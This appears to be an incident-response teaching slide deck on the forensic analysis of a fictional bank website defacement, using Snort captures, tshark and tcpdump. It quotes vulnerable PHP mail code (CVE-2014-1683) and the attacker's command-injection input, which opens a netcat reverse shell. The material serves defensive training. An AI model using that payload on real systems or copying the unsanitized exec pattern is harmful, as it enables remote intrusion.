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Case study: incident response



Incident Response for fictional bank



Zone-H: defacement registry



Defacement



Snort

$ ls

2015-07-19 2015-07-20 2015-07-21

2015-07-22 2015-07-23

$ cd 2015-07-23

$ ls

snort.log.1437609637

snort.log.1437656593

snort.log.1437692410



Finding the right log

$ ls

snort.log.1437609637

snort.log.1437656593

snort.log.1437692410

$ capinfos -a *

File name: snort.log.1437609637

First packet time: 2015-07-23 02:11:16.403393

File name: snort.log.1437656593

First packet time: 2015-07-23 15:03:13.956770

File name: snort.log.1437692410

First packet time: 2015-07-24 01:00:10.028476



Wireshark!
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User Agent

“In computing, a user agent is software (a software agent) that is
acting on behalf of a user.” (Wikipedia)

Examples:

"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"

"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"

"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

"Hetzner System Monitoring"

"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:40.0) Gecko/20100101 Firefox/40.0"

"Tiny Tiny RSS/16.8 (3d5d289) (http://tt-rss.org/)"

"Tiny Tiny RSS/17.1 (78fee22) (http://tt-rss.org/)"

"Mozilla/5.0 (compatible; AhrefsBot/5.2; +http://ahrefs.com/robot/)"



Obtaining a list of User Agents with tshark

$ tshark -Y "ip.src == 82.145.37.203 and http.request"

-r snort.log.1437656593

-T fields -e http.user_agent

| sort | uniq -c | sort -nr | head

452 w3af.org

415 Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)

290 Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:sitezip)

79 Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0

42 Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:cgi dir check)

32 Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:multiple_index)

32 Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:embedded detection)

12 Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:headers: Translate-f #1)

12 Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001398)

12 Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001397)
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Obtaining a list of requests with tshark

$ tshark -Y "ip.src == 82.145.37.203 and http.request

and http.user_agent contains Firefox"

-r snort.log.1437656593

-T fields -e http.request.method -e http.host -e http.request.uri

| sort | uniq -c | sort -nr

9 GET www.mcduckbank.net /

8 GET www.mcduckbank.net /data/media/portfolio/mcduck_on_money.jpg

5 GET www.mcduckbank.net /admin.php?mgr=login&js=1

4 POST www.mcduckbank.net /index.php?pid=4

4 GET www.mcduckbank.net /ui/elements/css/elements.css

4 GET www.mcduckbank.net /ui/admin/js/scripts.js

4 GET www.mcduckbank.net /ui/admin/js/jquery.js

4 GET www.mcduckbank.net /ui/admin/js/imagehover.js

4 GET www.mcduckbank.net /ui/admin/images/bg.clouds.mgr.png

4 GET www.mcduckbank.net /ui/admin/css/tabs.css

4 GET www.mcduckbank.net /ui/admin/css/ssm.type.css

4 GET www.mcduckbank.net /ui/admin/css/ssm.tables.css

4 GET www.mcduckbank.net /ui/admin/css/ssm.master.css

4 GET www.mcduckbank.net /index.php?pid=4

3 POST www.mcduckbank.net /admin.php?mgr=login&js=1&try=1

2 GET www.mcduckbank.net /ui/elements/images/icon.error.gif

2 GET www.mcduckbank.net /favicon.ico

2 GET www.mcduckbank.net /admin.php?en_log_id=0&action=users

2 GET www.mcduckbank.net /admin.php

1 GET www.mcduckbank.net /ui/admin/images/bg.login.png

1 GET www.mcduckbank.net /bb.jpg



Obtaining a list of requests with tshark
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Intermezzo: dealing with unwieldy PCAP files



Intermezzo: dealing with unwieldy PCAP files

$ ls -lsh

-rw-r--r-- 1 judith judith 154M Jul 23 2015 snort.log.1437609637

-rw-r--r-- 1 judith judith 155M Jul 24 2015 snort.log.1437656593

-rw-r--r-- 1 judith judith 264K Jul 24 2015 snort.log.1437692410



Intermezzo: dealing with unwieldy PCAP files

Let’s filter on attacker IP

$ tcpdump -r snort.log.1437656593

-w attacker.pcap

host 82.145.37.203

And then filter out only packages from after 17:00

$ editcap -A "2015-07-23 17:00:00"

-F pcap attacker.pcap

attacker_after_17.pcap
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Intermezzo: dealing with unwieldy PCAP files

$ ls -lsh

total 320M

440K -rw-r--r-- 1 judith judith 439K Apr 11 16:21 attacker_after_17.pcap

10M -rw-r--r-- 1 judith judith 10M Apr 11 16:14 attacker.pcap

154M -rw-r--r-- 1 judith judith 154M Jul 23 2015 snort.log.1437609637

155M -rw-r--r-- 1 judith judith 155M Jul 24 2015 snort.log.1437656593

264K -rw-r--r-- 1 judith judith 264K Jul 24 2015 snort.log.1437692410



Small PCAP



Attack 1



Attack 2



Contactform



Underlying PHP code

function bashMail($sbj, $msg, $to, $cc=’’, $bc=’’) {

$cmd = ’echo "’.$msg.’" | mail -s "’.$sbj.’" ’.$to;

exec($cmd, $err);

$res = count($err) == 0 ? 1 : 4 ;

return $res;

}

CVE-2014-1683

“It is possible to exploit this vulnerability because the POST parameters name, email,
subject, and message are not properly sanitized when submitted to the contactform
page. Arbitrary commands can be executed by injecting the payload to a vulnerable

parameter.”

source: http://seclists.org/fulldisclosure/2014/Jan/159

http://seclists.org/fulldisclosure/2014/Jan/159
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Command injection results

Input sent by attacker:

escape"; /bin/nc.traditional -e /bin/sh [attacker ip] 37226; echo "

Resulting PHP code:

exec(’echo "escape";

/bin/nc.traditional -e /bin/sh [attacker ip] 37226;

echo "" | mail -s "’.$sbj.’" ’.$to, $err);



Attacker shell



Attacker shell



Summary

1. Automated website scans w3af/Nikto

2. Manual attacks via Firefox/IceWeasel

3. Brute-force attacks on administrator panel

4. Command injection attack via contact form

5. Upload new index and image via netcat

Credits
PCAP and defacement scenario by Erik Hjelmvik, NETRESEC (SE)



What can we learn from this scenario?



Further reading

Career advice

I www.cyberdomein.nl, “Carriere”

I www.jvns.ca, “How to be a wizard programmer” and all
other comics by Julia Evans

Practice your infosec skills

I http://forensicscontest.com/puzzles, network
forensics puzzles and answers

I www.certifiedsecure.com, online challenges, mostly web
security

I www.microcorruption.com, assembly-focused (virtual)
hardware hacking

I www.cryptopals.com, learn to implement and break crypto

I www.crimediggers.nl, digital forensics challenge by the
Dutch police

www.cyberdomein.nl
www.jvns.ca
http://forensicscontest.com/puzzles
www.certifiedsecure.com
www.microcorruption.com
www.cryptopals.com
www.crimediggers.nl


Questions?


